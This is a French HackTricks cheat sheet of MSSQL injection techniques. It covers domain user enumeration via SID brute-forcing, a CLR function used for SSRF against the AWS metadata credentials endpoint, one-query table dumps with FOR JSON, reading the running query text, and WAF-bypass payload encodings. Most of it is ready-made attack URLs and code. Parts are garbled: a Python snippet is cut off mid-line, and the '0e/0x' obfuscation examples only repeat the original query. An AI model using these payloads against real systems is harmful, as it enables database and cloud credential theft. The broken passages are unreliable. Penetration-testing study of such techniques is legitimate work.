## Injection MSSQL
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## Énumération Active Directory Il est possible de **énumérer les utilisateurs de domaine via une injection SQL à l'intérieur d'un serveur MSSQL** en utilisant les fonctions MSSQL suivantes : * **`SELECT DEFAULT_DOMAIN()`**: Obtenir le nom de domaine actuel. * **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Si vous connaissez le nom de domaine (_DOMAIN_ dans cet exemple), cette fonction renverra le **SID de l'utilisateur Administrator** au format hexadécimal. Cela ressemblera à `0x01050000000[...]0000f401`, notez comment les **4 derniers octets** sont le nombre **500** en format **big endian**, qui est l'**ID commun de l'utilisateur administrateur**.\ Cette fonction vous permettra de **connaître l'ID du domaine** (tous les octets sauf les 4 derniers). * **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Cette fonction renverra le **nom d'utilisateur de l'ID indiqué** (le cas échéant), dans ce cas **0000e803** en big endian == **1000** (généralement c'est l'ID du premier utilisateur régulier créé). Ensuite, vous pouvez imaginer que vous pouvez forcer l'ID utilisateur de 1000 à 2000 et probablement obtenir tous les noms d'utilisateur des utilisateurs du domaine. Par exemple en utilisant une fonction comme celle-ci : ```python def get_sid(n): domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236' user = struct.pack(' Évidemment, vous pouvez également utiliser **`xp_cmdshell`** pour **exécuter** quelque chose qui déclenche un **SSRF**. Pour plus d'informations, **lisez la section pertinente** de la page : {% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} [pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/) {% endcontent-ref %} ### Fonction utilisateur définie MSSQL - SQLHttp Il est assez simple d'écrire une **UDF CLR** (Fonction utilisateur définie par Common Language Runtime - code écrit avec l'un des langages **.NET** et compilé en tant que **DLL**) et de **la charger dans MSSQL pour des fonctions personnalisées**. Cependant, cela **nécessite un accès `dbo`** et peut ne pas fonctionner à moins que la connexion de l'application Web à la base de données **soit en tant que `sa` ou un rôle d'administrateur**. [Ce dépôt Github contient le projet Visual Studio et les instructions d'installation](https://github.com/infiniteloopltd/SQLHttp) pour charger le binaire dans MSSQL en tant qu'assembly CLR et ensuite invoquer des requêtes GET HTTP depuis MSSQL. [Le code `http.cs` utilise la classe `WebClient` pour effectuer une requête GET et récupérer le contenu](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) tel que spécifié. ```csharp using System.Data.SqlTypes; using System.Net; public partial class UserDefinedFunctions { [Microsoft.SqlServer.Server.SqlFunction] public static SqlString http(SqlString url) { var wc = new WebClient(); var html = wc.DownloadString(url.Value); return new SqlString (html); } } ``` Dans les instructions d'installation, exécutez ce qui suit avant la requête `CREATE ASSEMBLY` pour ajouter le hachage SHA512 de l'assembly à la liste des assemblies de confiance sur le serveur (vous pouvez voir la liste en utilisant `select * from sys.trusted_assemblies;`) ```sql EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil'; ``` Une fois que l'assemblage est ajouté et que la fonction est créée, nous pouvons exécuter ce qui suit pour effectuer nos requêtes HTTP. ```sql DECLARE @url varchar(max); SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/'; SELECT dbo.http(@url); ``` ## **Exploitation rapide: Récupérer une table entière en une seule requête** Il existe deux façons simples de récupérer l'intégralité du contenu d'une table en une seule requête - l'utilisation de la clause FOR XML ou FOR JSON. La clause FOR XML nécessite un mode spécifié tel que «raw», donc en termes de brièveté FOR JSON est plus performant. La requête pour récupérer le schéma, les tables et les colonnes de la base de données actuelle: ``` https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- ``` Les vecteurs basés sur les erreurs nécessitent un alias ou un nom, car la sortie des expressions sans l'un ou l'autre ne peut pas être formatée en JSON. ``` https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- ``` ## **Récupération de la requête en cours** La requête SQL en cours d'exécution peut être récupérée à partir de l'accès `sys.dm_exec_requests` et `sys.dm_exec_sql_text`: ``` https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null ``` **Permissions:** Si l'utilisateur dispose de l'autorisation VIEW SERVER STATE sur le serveur, il verra toutes les sessions en cours d'exécution sur l'instance de SQL Server ; sinon, il ne verra que la session en cours. ```sql # Check if you have it SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE'; ``` ## **Petits trucs pour contourner les WAF** Caractères d'espacement non standard : %C2%85 ou %C2%A0 : ``` https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null-- ``` Notation scientifique (0e) et hexadécimale (0x) pour l'obfuscation de UNION : Lorsque vous effectuez une injection SQL dans une requête qui utilise l'opérateur UNION, vous pouvez utiliser des notations scientifiques ou hexadécimales pour obfusquer le mot clé UNION et éviter ainsi la détection par les filtres de sécurité. Par exemple, vous pouvez utiliser la notation scientifique 0e pour remplacer le mot clé UNION. Voici un exemple : ``` SELECT 'a' WHERE 1=0 UNION ALL SELECT 'b' WHERE 1=0 ``` Peut être réécrit en utilisant la notation scientifique comme suit : ``` SELECT 'a' WHERE 1=0 UNION ALL SELECT 'b' WHERE 1=0;--0e0 ``` De même, vous pouvez utiliser la notation hexadécimale 0x pour remplacer le mot clé UNION. Voici un exemple : ``` SELECT 'a' WHERE 1=0 UNION ALL SELECT 'b' WHERE 1=0 ``` Peut être réécrit en utilisant la notation hexadécimale comme suit : ``` SELECT 'a' WHERE 1=0 UNION ALL SELECT 'b' WHERE 1=0;--0x0 ``` ``` https://vuln.app/getItem?id=0eunion+select+null,@@version,null-- https://vuln.app/getItem?id=0xunion+select+null,@@version,null-- ``` Un point au lieu d'un espace entre FROM et le nom d'une colonne: ``` https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users-- ``` \N séparateur entre SELECT et une colonne jetable: ``` https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- ``` ## Références * [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) * [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.